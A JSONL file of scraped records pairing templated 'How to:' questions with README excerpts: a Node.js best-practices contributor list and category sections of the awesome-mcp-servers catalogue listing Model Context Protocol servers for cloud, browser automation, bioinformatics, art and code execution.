{"id": "gh_ba82bd8b85b5", "question": "How to: Steering Committee Emeriti", "question_body": "About goldbergyoni/nodebestpractices", "answer": "[Bruno Scheufler](https://github.com/BrunoScheufler)\n💻 full-stack web engineer, Node.js & GraphQL enthusiast\n[Kyle Martin](https://github.com/js-kyle)\nFull Stack Developer & Site Reliability Engineer based in New Zealand, interested in web application security, and architecting and building Node.js applications to perform at global scale.\n[Kevyn Bruyere](https://github.com/kevynb)\nIndependent full-stack developer with a taste for Ops and automation.\n[Sagir Khan](https://github.com/sagirk)\nDeep specialist in JavaScript and its ecosystem — React, Node.js, TypeScript, GraphQL, MongoDB, pretty much anything that involves JS/JSON in any layer of the system — building products using the web platform for the world’s most recognized brands. Individual Member of the Node.js Foundation.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.948166"}
{"id": "gh_55ff71e722c8", "question": "How to: What is MCP?", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "[MCP](https://modelcontextprotocol.io/) is an open protocol that enables AI models to securely interact with local and remote resources through standardized server implementations. This list focuses on production-ready and experimental MCP servers that extend AI capabilities through file access, database connections, API integrations, and other contextual services.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311604"}
{"id": "gh_0a8dd903b958", "question": "How to: Server Implementations", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "> [!NOTE]\n> We now have a [web-based directory](https://glama.ai/mcp/servers) that is synced with the repository.\n\n* 🔗 - [Aggregators](#aggregators)\n* 🎨 - [Art & Culture](#art-and-culture)\n* 📐 - [Architecture & Design](#architecture-and-design)\n* 📂 - [Browser Automation](#browser-automation)\n* 🧬 - [Biology Medicine and Bioinformatics](#bio)\n* ☁️ - [Cloud Platforms](#cloud-platforms)\n* 👨‍💻 - [Code Execution](#code-execution)\n* 🤖 - [Coding Agents](#coding-agents)\n* 🖥️ - [Command Line](#command-line)\n* 💬 - [Communication](#communication)\n* 👤 - [Customer Data Platforms](#customer-data-platforms)\n* 🗄️ - [Databases](#databases)\n* 📊 - [Data Platforms](#data-platforms)\n* 🚚 - [Delivery](#delivery)\n* 🛠️ - [Developer Tools](#developer-tools)\n* 🧮 - [Data Science Tools](#data-science-tools)\n* 📟 - [Embedded system](#embedded-system)\n* 📂 - [File Systems](#file-systems)\n* 💰 - [Finance & Fintech](#finance--fintech)\n* 🎮 - [Gaming](#gaming)\n* 🧠 - [Knowledge & Memory](#knowledge--memory)\n* ⚖️ - [Legal](#legal)\n* 🗺️ - [Location Services](#location-services)\n* 🎯 - [Marketing](#marketing)\n* 📊 - [Monitoring](#monitoring)\n* 🎥 - [Multimedia Process](#multimedia-process)\n* 🔬 - [Research](#research)\n* 🔎 - [Search & Data Extraction](#search)\n* 🔒 - [Security](#security)\n* 🌐 - [Social Media](#social-media)\n* 🏃 - [Sports](#sports)\n* 🎧 - [Support & Service Management](#support-and-service-management)\n* 🌎 - [Translation Services](#translation-services)\n* 🎧 - [Text-to-Speech](#text-to-speech)\n* 🚆 - [Travel & Transportation](#travel-and-transportation)\n* 🔄 - [Version Control](#version-control)\n* 🏢 - [Workplace & Productivity](#workplace-and-productivity)\n* 🛠️ - [Other Tools and Integrations](#other-tools-and-integrations)", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311636"}
{"id": "gh_9c7aeac96722", "question": "How to: 🔗 <a name=\"aggregators\"></a>Aggregators", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Servers for accessing many apps and tools through a single MCP server.\n\n- [1mcp/agent](https://github.com/1mcp-app/agent) 📇 ☁️ 🏠 🍎 🪟 🐧 - A unified Model Context Protocol server implementation that aggregates multiple MCP servers into one.\n- [askbudi/roundtable](https://github.com/askbudi/roundtable) 📇 ☁️ 🏠 🍎 🪟 🐧 - Meta-MCP server that unifies multiple AI coding assistants (Codex, Claude Code, Cursor, Gemini) through intelligent auto-discovery and standardized MCP interface, providing zero-configuration access to the entire AI coding ecosystem.\n- [duaraghav8/MCPJungle](https://github.com/duaraghav8/MCPJungle) 🏎️ 🏠 - Self-hosted MCP Server registry for enterprise AI Agents\n- [glenngillen/mcpmcp-server](https://github.com/glenngillen/mcpmcp-server) ☁️ 📇 🍎 🪟 🐧 - A list of MCP servers so you can ask your client which servers you can use to improve your daily workflow.\n- [hamflx/imagen3-mcp](https://github.com/hamflx/imagen3-mcp) 📇 🏠 🪟 🍎 🐧 - A powerful image generation tool using Google's Imagen 3.0 API through MCP. Generate high-quality images from text prompts with advanced photography, artistic, and photorealistic controls.\n- [julien040/anyquery](https://github.com/julien040/anyquery) 🏎️ 🏠 ☁️ - Query more than 40 apps with one binary using SQL. It can also connect to your PostgreSQL, MySQL, or SQLite compatible database. Local-first and private by design.\n- [jaspertvdm/mcp-server-gemini-bridge](https://github.com/jaspertvdm/mcp-server-gemini-bridge) 🐍 ☁️ - Bridge to Google Gemini API. Access Gemini Pro and Flash models through MCP.\n- [jaspertvdm/mcp-server-ollama-bridge](https://github.com/jaspertvdm/mcp-server-ollama-bridge) 🐍 🏠 - Bridge to local Ollama LLM server. Run Llama, Mistral, Qwen and other local models through MCP.\n- [jaspertvdm/mcp-server-openai-bridge](https://github.com/jaspertvdm/mcp-server-openai-bridge) 🐍 ☁️ - Bridge to OpenAI API. Access GPT-4, GPT-4o and other OpenAI models through MCP.\n- [juspay/neurolink](https://github.com/juspay/neurolink) 📇 ☁️ 🏠 🍎 🪟 🐧 - Making enterprise AI infrastructure universally accessible. Edge-first platform unifying 12 providers and 100+ models with multi-agent orchestration, HITL workflows, guardrails middleware, and context summarization.\n- [K-Dense-AI/claude-skills-mcp](https://github.com/K-Dense-AI/claude-skills-mcp) 🐍 ☁️ 🏠 🍎 🪟 🐧 - Intelligent search capabilities to let every model and client use [Claude Agent Skills](https://www.anthropic.com/news/skills) like native.\n- [metatool-ai/metatool-app](https://github.com/metatool-ai/metatool-app) 📇 ☁️ 🏠 🍎 🪟 🐧 - MetaMCP is the one unified middleware MCP server that manages your MCP connections with GUI.\n- [mindsdb/mindsdb](https://github.com/mindsdb/mindsdb) - Connect and unify data across various platforms and databases with [MindsDB as a single MCP server](https://docs.mindsdb.com/mcp/overview).\n- [portel-dev/ncp](https://github.com/portel-dev/ncp) 📇 ☁️ 🏠 🍎 🪟 🐧 - NCP orchestrates your entire MCP ecosystem through intelligent discovery, eliminating token overhead while maintaining 98.2% accuracy.\n- [particlefuture/MCPDiscovery](https://github.com/particlefuture/MCPDiscovery) - MCP of MCPs. A central hub for MCP servers. Helps you discover available MCP servers and learn how to install and use them.\n- [PipedreamHQ/pipedream](https://github.com/PipedreamHQ/pipedream/tree/master/modelcontextprotocol) ☁️ 🏠 - Connect with 2,500 APIs with 8,000+ prebuilt tools, and manage servers for your users, in your own app.\n- [sitbon/magg](https://github.com/sitbon/magg) 🍎 🪟 🐧 ☁️ 🏠 🐍 - Magg: A meta-MCP server that acts as a universal hub, allowing LLMs to autonomously discover, install, and orchestrate multiple MCP servers - essentially giving AI assistants the power to extend their own capabilities on-demand.\n- [thinkchainai/mcpbundles](https://github.com/thinkchainai/mcpbundles) - MCP Bundles: Create custom bundles of tools and connect providers with OAuth or API keys. Use one MCP server across thousands of integrations, with programmatic tool calling and MCP UI for managing bundles and credentials.\n- [SureScaleAI/openai-gpt-image-mcp](https://github.com/SureScaleAI/openai-gpt-image-mcp) 📇 ☁️ - OpenAI GPT image generation/editing MCP server.\n- [sxhxliang/mcp-access-point](https://github.com/sxhxliang/mcp-access-point) 📇 ☁️ 🏠 🍎 🪟 🐧 - Turn a web service into an MCP server in one click without making any code changes.\n- [TheLunarCompany/lunar#mcpx](https://github.com/TheLunarCompany/lunar/tree/main/mcpx) 📇 🏠  ☁️ 🍎 🪟 🐧 - MCPX is a production-ready, open-source gateway to manage MCP servers at scale—centralize tool discovery, access controls, call prioritization, and usage tracking to simplify agent workflows.\n- [tigranbs/mcgravity](https://github.com/tigranbs/mcgravity) 📇 🏠 - A proxy tool for composing multiple MCP servers into one unified endpoint. Scale your AI tools by load balancing requests across multiple MCP servers, similar to how Nginx works for web servers.\n- [VeriTeknik/pluggedin-mcp-proxy](https://github.com/VeriTeknik/p", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311665"}
{"id": "gh_e90af0ce1986", "question": "How to: 🚀 <a name=\"aerospace-and-astrodynamics\"></a>Aerospace & Astrodynamics", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [IO-Aerospace-software-community/mcp-server](https://github.com/IO-Aerospace-software-engineering/mcp-server) #️⃣ ☁️/🏠 🐧 - IO Aerospace MCP Server: a .NET-based MCP server for aerospace & astrodynamics — ephemeris, orbital conversions, DSS tools, time conversions, and unit/math utilities. Supports STDIO and SSE transports; Docker and native .NET deployment documented.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311674"}
{"id": "gh_13f0eb58995f", "question": "How to: 🎨 <a name=\"art-and-culture\"></a>Art & Culture", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Access and explore art collections, cultural heritage, and museum databases. Enables AI models to search and analyze artistic and cultural content.\n\n- [drakonkat/wizzy-mcp-tmdb](https://github.com/drakonkat/wizzy-mcp-tmdb) 📇 ☁️ - A MCP server for The Movie Database API that enables AI assistants to search and retrieve movie, TV show, and person information.\n- [8enSmith/mcp-open-library](https://github.com/8enSmith/mcp-open-library) 📇 ☁️ - A MCP server for the Open Library API that enables AI assistants to search for book information.\n- [abhiemj/manim-mcp-server](https://github.com/abhiemj/manim-mcp-server) 🐍 🏠 🪟 🐧 - A local MCP server that generates animations using Manim.\n- [ahujasid/blender-mcp](https://github.com/ahujasid/blender-mcp) 🐍 - MCP server for working with Blender\n- [burningion/video-editing-mcp](https://github.com/burningion/video-editing-mcp) 🐍 - Add, Analyze, Search, and Generate Video Edits from your Video Jungle Collection\n- [cantian-ai/bazi-mcp](https://github.com/cantian-ai/bazi-mcp) 📇 🏠 ☁️ 🍎 🪟 - Provides comprehensive and accurate Bazi (Chinese Astrology) charting and analysis\n- [cswkim/discogs-mcp-server](https://github.com/cswkim/discogs-mcp-server) 📇 ☁️ - MCP server to interact with the Discogs API\n- [diivi/aseprite-mcp](https://github.com/diivi/aseprite-mcp) 🐍 🏠 - MCP server using the Aseprite API to create pixel art\n- [djalal/quran-mcp-server](https://github.com/djalal/quran-mcp-server) 📇 ☁️ MCP server to interact with Quran.com corpus via the official REST API v4.\n- [raveenb/fal-mcp-server](https://github.com/raveenb/fal-mcp-server) 🐍 ☁️ - Generate AI images, videos, and music using Fal.ai models (FLUX, Stable Diffusion, MusicGen) directly in Claude Desktop\n- [GenWaveLLC/svgmaker-mcp](https://github.com/GenWaveLLC/svgmaker-mcp) 📇 ☁️ - Provides AI-driven SVG generation and editing via natural language, with real-time updates and secure file handling.\n- [mikechao/metmuseum-mcp](https://github.com/mikechao/metmuseum-mcp) 📇 ☁️ - Metropolitan Museum of Art Collection API integration to search and display artworks in the collection.\n- [molanojustin/smithsonian-mcp](https://github.com/molanojustin/smithsonian-mcp) 🐍 ☁️ - MCP server that provides AI assistants with access to the Smithsonian Institution's Open Access collections.\n- [OctoEverywhere/mcp](https://github.com/OctoEverywhere/mcp) #️⃣ ☁️ - A 3D printer MCP server that allows for getting live printer state, webcam snapshots, and printer control.\n- [omni-mcp/isaac-sim-mcp](https://github.com/omni-mcp/isaac-sim-mcp) 📇 ☁️ - A MCP Server and an extension enables natural language control of NVIDIA Isaac Sim, Lab, OpenUSD and etc.\n- [PatrickPalmer/MayaMCP](https://github.com/PatrickPalmer/MayaMCP) 🐍 🏠 - MCP server for Autodesk Maya\n- [peek-travel/mcp-intro](https://github.com/peek-travel/mcp-intro) ☁️ 🍎 🪟 🐧 - Remote MCP Server for discovering and planning experiences, at home and on vacation\n- [r-huijts/oorlogsbronnen-mcp](https://github.com/r-huijts/oorlogsbronnen-mcp) 📇 ☁️ - Oorlogsbronnen (War Sources) API integration for accessing historical WWII records, photographs, and documents from the Netherlands (1940-1945)\n- [r-huijts/rijksmuseum-mcp](https://github.com/r-huijts/rijksmuseum-mcp) 📇 ☁️ - Rijksmuseum API integration for artwork search, details, and collections\n- [samuelgursky/davinci-resolve-mcp](https://github.com/samuelgursky/davinci-resolve-mcp) 🐍 - MCP server integration for DaVinci Resolve providing powerful tools for video editing, color grading, media management, and project control\n- [TwelveTake-Studios/reaper-mcp](https://github.com/TwelveTake-Studios/reaper-mcp) 🐍 🏠 🍎 🪟 🐧 - MCP server enabling AI assistants to control REAPER DAW for mixing, mastering, MIDI composition, and full music production with 129 tools\n- [yuna0x0/anilist-mcp](https://github.com/yuna0x0/anilist-mcp) 📇 ☁️ - A MCP server integrating AniList API for anime and manga information", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311690"}
{"id": "gh_9e31d147fb08", "question": "How to: 📐 <a name=\"architecture-and-design\"></a>Architecture & Design", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Design and visualize software architecture, system diagrams, and technical documentation. Enables AI models to generate professional diagrams and architectural documentation.\n\n- [Narasimhaponnada/mermaid-mcp](https://github.com/Narasimhaponnada/mermaid-mcp) 📇 ☁️ 🍎 🪟 🐧 - AI-powered Mermaid diagram generation with 22+ diagram types including flowcharts, sequence diagrams, class diagrams, ER diagrams, architecture diagrams, state machines, and more. Features 50+ pre-built templates, advanced layout engines, SVG/PNG/PDF exports, and seamless integration with GitHub Copilot, Claude, and any MCP-compatible client. Install via NPM: `npm install -g @narasimhaponnada/mermaid-mcp-server`\n- [betterhyq/mermaid-grammer-inspector-mcp](https://github.com/betterhyq/mermaid_grammer_inspector_mcp) 📇 🏠 🍎 🪟 🐧 - A Model Context Protocol (MCP) server for validating Mermaid diagram syntax and providing comprehensive grammar checking capabilities\n- [GittyBurstein/mermaid-mcp-server](https://github.com/GittyBurstein/mermaid-mcp-server) 🐍 ☁️ - MCP server that turns local projects or GitHub repositories into Mermaid diagrams and renders them via Kroki.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311699"}
{"id": "gh_1dde1080be73", "question": "How to: <a name=\"bio\"></a>Biology, Medicine and Bioinformatics", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [dnaerys/onekgp-mcp](https://github.com/dnaerys/onekgp-mcp) ☕ ☁️ - natural language access to 1000 Genomes Project dataset\n- [genomoncology/biomcp](https://github.com/genomoncology/biomcp) 🐍 ☁️ - Biomedical research MCP server providing access to PubMed, ClinicalTrials.gov, and MyVariant.info.\n- [hlydecker/ucsc-genome-mcp](https://github.com/hlydecker/ucsc-genome-mcp) 🐍 ☁️ - MCP server to interact with the UCSC Genome Browser API, letting you find genomes, chromosomes, and more.\n- [longevity-genie/biothings-mcp](https://github.com/longevity-genie/biothings-mcp) 🐍 🏠 ☁️ - MCP server to interact with the BioThings API, including genes, genetic variants, drugs, and taxonomic information.\n- [longevity-genie/gget-mcp](https://github.com/longevity-genie/gget-mcp) 🐍 🏠 ☁️ - MCP server providing a powerful bioinformatics toolkit for genomics queries and analysis, wrapping the popular `gget` library.\n- [longevity-genie/opengenes-mcp](https://github.com/longevity-genie/opengenes-mcp) 🎖️ 🐍 🏠 ☁️ - MCP server for a queryable database for aging and longevity research from the OpenGenes project.\n- [longevity-genie/synergy-age-mcp](https://github.com/longevity-genie/synergy-age-mcp) 🎖️ 🐍 🏠 ☁️ - MCP server for the SynergyAge database of synergistic and antagonistic genetic interactions in longevity.\n- [the-momentum/fhir-mcp-server](https://github.com/the-momentum/fhir-mcp-server) 🐍 🏠 ☁️ - MCP Server that connects AI agents to FHIR servers. One example use case is querying patient history in natural language.\n- [wso2/fhir-mcp-server](https://github.com/wso2/fhir-mcp-server) 🐍 🏠 ☁️ - Model Context Protocol server for Fast Healthcare Interoperability Resources (FHIR) APIs. Provides seamless integration with FHIR servers, enabling AI assistants to search, retrieve, create, update, and analyze clinical healthcare data with SMART-on-FHIR authentication support.\n- [JamesANZ/medical-mcp](https://github.com/JamesANZ/medical-mcp) 📇 🏠 - An MCP server that provides access to medical information, drug databases, and healthcare resources. Enables AI assistants to query medical data, drug interactions, and clinical guidelines.\n- [the-momentum/apple-health-mcp-server](https://github.com/the-momentum/apple-health-mcp-server) 🐍 🏠 🍎 🪟 🐧 - An MCP server that provides access to exported data from Apple Health. Data analytics included.\n- [OHNLP/omop_mcp](https://github.com/OHNLP/omop_mcp) 🐍 🏠 ☁️ - Map clinical terminology to OMOP concepts using LLMs for healthcare data standardization and interoperability.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311712"}
{"id": "gh_956ef7dd5f0e", "question": "How to: 📂 <a name=\"browser-automation\"></a>Browser Automation", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Web content access and automation capabilities. Enables searching, scraping, and processing web content in AI-friendly formats.\n\n- [BB-fat/browser-use-rs](https://github.com/BB-fat/browser-use-rs) 🦀 Lightweight browser automation MCP server in Rust with zero dependencies.\n- [34892002/bilibili-mcp-js](https://github.com/34892002/bilibili-mcp-js) 📇 🏠 - A MCP server that supports searching for Bilibili content. Provides LangChain integration examples and test scripts.\n- [agent-infra/mcp-server-browser](https://github.com/bytedance/UI-TARS-desktop/tree/main/packages/agent-infra/mcp-servers/browser) 📇 🏠 - Browser automation capabilities using Puppeteer, both support local and remote browser connection.\n- [automatalabs/mcp-server-playwright](https://github.com/Automata-Labs-team/MCP-Server-Playwright) 🐍 - An MCP server for browser automation using Playwright\n- [blackwhite084/playwright-plus-python-mcp](https://github.com/blackwhite084/playwright-plus-python-mcp) 🐍 - An MCP python server using Playwright for browser automation,more suitable for llm\n- [browserbase/mcp-server-browserbase](https://github.com/browserbase/mcp-server-browserbase) 🎖️ 📇 - Automate browser interactions in the cloud (e.g. web navigation, data extraction, form filling, and more)\n- [browsermcp/mcp](https://github.com/browsermcp/mcp) 📇 🏠 - Automate your local Chrome browser\n- [co-browser/browser-use-mcp-server](https://github.com/co-browser/browser-use-mcp-server) 🐍 - browser-use packaged as an MCP server with SSE transport. includes a dockerfile to run chromium in docker + a vnc server.\n- [eat-pray-ai/yutu](https://github.com/eat-pray-ai/yutu) 🏎️ 🏠 🍎 🐧 🪟 - A fully functional MCP server and CLI for YouTube to automate YouTube operation\n- [executeautomation/playwright-mcp-server](https://github.com/executeautomation/mcp-playwright) 📇 - An MCP server using Playwright for browser automation and webscrapping\n- [eyalzh/browser-control-mcp](https://github.com/eyalzh/browser-control-mcp) 📇 🏠 - An MCP server paired with a browser extension that enables LLM clients to control the user's browser (Firefox).\n- [freema/firefox-devtools-mcp](https://github.com/freema/firefox-devtools-mcp) 📇 🏠 - Firefox browser automation via WebDriver BiDi for testing, scraping, and browser control. Supports snapshot/UID-based interactions, network monitoring, console capture, and screenshots.\n- [fradser/mcp-server-apple-reminders](https://github.com/FradSer/mcp-server-apple-reminders) 📇 🏠 🍎 - An MCP server for interacting with Apple Reminders on macOS\n- [getrupt/ashra-mcp](https://github.com/getrupt/ashra-mcp) 📇 🏠 - Extract structured data from any website. Just prompt and get JSON.\n- [hanzili/comet-mcp](https://github.com/hanzili/comet-mcp) 📇 🏠 🍎 - Connect to Perplexity Comet browser for agentic web browsing, deep research, and real-time task monitoring.\n- [kimtaeyoon83/mcp-server-youtube-transcript](https://github.com/kimtaeyoon83/mcp-server-youtube-transcript) 📇 ☁️ - Fetch YouTube subtitles and transcripts for AI analysis\n- [kimtth/mcp-aoai-web-browsing](https://github.com/kimtth/mcp-aoai-web-browsing) 🐍 🏠 - A `minimal` server/client MCP implementation using Azure OpenAI and Playwright.\n- [lightpanda-io/gomcp](https://github.com/lightpanda-io/gomcp) 🏎 🏠/☁️ 🐧/🍎 - An MCP server in Go for Lightpanda, the ultra fast headless browser designed for web automation\n- [microsoft/playwright-mcp](https://github.com/microsoft/playwright-mcp) - Official Microsoft Playwright MCP server, enabling LLMs to interact with web pages through structured accessibility snapshots\n- [modelcontextprotocol/server-puppeteer](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/puppeteer) 📇 🏠 - Browser automation for web scraping and interaction\n- [ndthanhdev/mcp-browser-kit](https://github.com/ndthanhdev/mcp-browser-kit) 📇 🏠 - An MCP Server that enables AI assistants to interact with your local browsers.\n- [operative_sh/web-eval-agent](https://github.com/Operative-Sh/web-eval-agent) 🐍 🏠 🍎 - An MCP Server that autonomously debugs web applications with browser-use browser agents\n- [olostep/olostep-mcp-server](https://github.com/olostep/olostep-mcp-server) 📇 ☁️ - Web scraping, crawling, and search API. Extract content in Markdown/JSON, batch process 10k URLs, and get AI-powered answers with citations.\n- [pskill9/web-search](https://github.com/pskill9/web-search) 📇 🏠 - An MCP server that enables free web searching using Google search results, with no API keys required.\n- [PhungXuanAnh/selenium-mcp-server](https://github.com/PhungXuanAnh/selenium-mcp-server) 🐍 🏠 🍎 🪟 🐧 - A Model Context Protocol server providing web automation capabilities through Selenium WebDriver\n- [recursechat/mcp-server-apple-shortcuts](https://github.com/recursechat/mcp-server-apple-shortcuts) 📇 🏠 🍎 - An MCP Server Integration with Apple Shortcuts\n- [xspadex/bilibili-mcp](https://github.com/xspadex/bilibili-mcp.git) 📇 🏠 - A FastMCP-based tool that fetches Bilibili's trending videos and exposes them via a standard M", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311734"}
{"id": "gh_e9f524a1032c", "question": "How to: ☁️ <a name=\"cloud-platforms\"></a>Cloud Platforms", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Cloud platform service integration. Enables management and interaction with cloud infrastructure and services.\n\n- [4everland/4everland-hosting-mcp](https://github.com/4everland/4everland-hosting-mcp) 🎖️ 📇 🏠 🍎 🐧 - An MCP server implementation for 4EVERLAND Hosting enabling instant deployment of AI-generated code to decentralized storage networks like Greenfield, IPFS, and Arweave.\n- [aashari/mcp-server-aws-sso](https://github.com/aashari/mcp-server-aws-sso) 📇 ☁️ 🏠 - AWS Single Sign-On (SSO) integration enabling AI systems to securely interact with AWS resources by initiating SSO login, listing accounts/roles, and executing AWS CLI commands using temporary credentials.\n- [alexbakers/mcp-ipfs](https://github.com/alexbakers/mcp-ipfs) 📇 ☁️ - upload and manipulation of IPFS storage\n- [alexei-led/aws-mcp-server](https://github.com/alexei-led/aws-mcp-server) 🐍 ☁️ - A lightweight but powerful server that enables AI assistants to execute AWS CLI commands, use Unix pipes, and apply prompt templates for common AWS tasks in a safe Docker environment with multi-architecture support\n- [alexei-led/k8s-mcp-server](https://github.com/alexei-led/k8s-mcp-server) 🐍 - A lightweight yet robust server that empowers AI assistants to securely execute Kubernetes CLI commands (`kubectl`, `helm`, `istioctl`, and `argocd`) using Unix pipes in a safe Docker environment with multi-architecture support.\n- [aliyun/alibaba-cloud-ops-mcp-server](https://github.com/aliyun/alibaba-cloud-ops-mcp-server) 🎖️ 🐍 ☁️ - A MCP server that enables AI assistants to operation resources on Alibaba Cloud, supporting ECS, Cloud Monitor, OOS and widely used cloud products.\n- [awslabs/mcp](https://github.com/awslabs/mcp) 🎖️ ☁️ - AWS MCP servers for seamless integration with AWS services and resources.\n- [localstack/localstack-mcp-server](https://github.com/localstack/localstack-mcp-server) 🎖️ 📇 🏠 - A MCP server for LocalStack to manage local AWS environments, including lifecycle operations, infra deployments, log analysis, fault injection, and state management.\n- [bright8192/esxi-mcp-server](https://github.com/bright8192/esxi-mcp-server) 🐍 ☁️ - A VMware ESXi/vCenter management server based on MCP (Model Control Protocol), providing simple REST API interfaces for virtual machine management.\n- [cloudflare/mcp-server-cloudflare](https://github.com/cloudflare/mcp-server-cloudflare) 🎖️ 📇 ☁️ - Integration with Cloudflare services including Workers, KV, R2, and D1\n- [cyclops-ui/mcp-cyclops](https://github.com/cyclops-ui/mcp-cyclops) 🎖️ 🏎️ ☁️ - An MCP server that allows AI agents to manage Kubernetes resources through Cyclops abstraction\n- [elementfm/mcp](https://gitlab.com/elementfm/mcp) 🎖️ 🐍 📇 🏠 ☁️ - Open source podcast hosting platform\n- [erikhoward/adls-mcp-server](https://github.com/erikhoward/adls-mcp-server) 🐍 ☁️/🏠 - MCP Server for Azure Data Lake Storage. It can perform manage containers, read/write/upload/download operations on container files and manage file metadata.\n- [espressif/esp-rainmaker-mcp](https://github.com/espressif/esp-rainmaker-mcp) 🎖️ 🐍 🏠 ☁️ 📟 - Official Espressif MCP Server to manage and control ESP RainMaker Devices.\n- [flux159/mcp-server-kubernetes](https://github.com/Flux159/mcp-server-kubernetes) 📇 ☁️/🏠 - Typescript implementation of Kubernetes cluster operations for pods, deployments, services.\n- [hardik-id/azure-resource-graph-mcp-server](https://github.com/hardik-id/azure-resource-graph-mcp-server) 📇 ☁️/🏠 - A Model Context Protocol server for querying and analyzing Azure resources at scale using Azure Resource Graph, enabling AI assistants to explore and monitor Azure infrastructure.\n- [jdubois/azure-cli-mcp](https://github.com/jdubois/azure-cli-mcp) - A wrapper around the Azure CLI command line that allows you to talk directly to Azure\n- [johnneerdael/netskope-mcp](https://github.com/johnneerdael/netskope-mcp) 🔒 ☁️ - An MCP to give access to all Netskope Private Access components within a Netskope Private Access environments including detailed setup information and LLM examples on usage.\n- [kestra-io/mcp-server-python](https://github.com/kestra-io/mcp-server-python) 🐍 ☁️ - Implementation of MCP server for [Kestra](https://kestra.io) workflow orchestration platform.\n- [liveblocks/liveblocks-mcp-server](https://github.com/liveblocks/liveblocks-mcp-server) 🎖️ 📇 ☁️ - Create, modify, and delete different aspects of [Liveblocks](https://liveblocks.io) such as rooms, threads, comments, notifications, and more. Additionally, it has read access to Storage and Yjs.\n- [manusa/Kubernetes MCP Server](https://github.com/manusa/kubernetes-mcp-server) 🏎️ 🏠 A - powerful Kubernetes MCP server with additional support for OpenShift. Besides providing CRUD operations for **any** Kubernetes resource, this server provides specialized tools to interact with your cluster.\n- [Nebula-Block-Data/nebulablock-mcp-server](https://github.com/Nebula-Block-Data/nebulablock-mcp-server) 📇 🏠 - integrates with the fastmcp library to expose the full range of NebulaBlock API", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.311770"}
{"id": "gh_580f0c915a79", "question": "How to: 👨‍💻 <a name=\"code-execution\"></a>Code Execution", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Code execution servers. Allow LLMs to execute code in a secure environment, e.g. for coding agents.\n\n- [alfonsograziano/node-code-sandbox-mcp](https://github.com/alfonsograziano/node-code-sandbox-mcp) 📇 🏠 – A Node.js MCP server that spins up isolated Docker-based sandboxes for executing JavaScript snippets with on-the-fly npm dependency installation and clean teardown\n- [ckanthony/openapi-mcp](https://github.com/ckanthony/openapi-mcp) 🏎️ ☁️ - OpenAPI-MCP: Dockerized MCP Server to allow your AI agent to access any API with existing api docs.\n- [gwbischof/outsource-mcp](https://github.com/gwbischof/outsource-mcp) 🐍 ☁️ - Give your AI assistant its own AI assistants. For example: \"Could you ask openai to generate an image of a dog?\"\n- [hileamlakB/PRIMS](https://github.com/hileamlakB/PRIMS) 🐍 🏠 – A Python Runtime Interpreter MCP Server that executes user-submitted code in an isolated environment.\n- [ouvreboite/openapi-to-mcp](https://github.com/ouvreboite/openapi-to-mcp) #️⃣ ☁️ - Lightweight MCP server to access any API using their OpenAPI specification. Supports OAuth2 and full JSON schema parameters and request body.\n- [pydantic/pydantic-ai/mcp-run-python](https://github.com/pydantic/pydantic-ai/tree/main/mcp-run-python) 🐍 🏠 - Run Python code in a secure sandbox via MCP tool calls\n- [r33drichards/mcp-js](https://github.com/r33drichards/mcp-js) 🦀 🏠 🐧 🍎 - A Javascript code execution sandbox that uses v8 to isolate code to run AI generated javascript locally without fear. Supports heap snapshotting for persistent sessions.\n- [yepcode/mcp-server-js](https://github.com/yepcode/mcp-server-js) 🎖️ 📇 ☁️ - Execute any LLM-generated code in a secure and scalable sandbox environment and create your own MCP tools using JavaScript or Python, with full support for NPM and PyPI packages\n- [dagger/container-use](https://github.com/dagger/container-use) 🏎️ 🏠 🐧 🍎 🪟 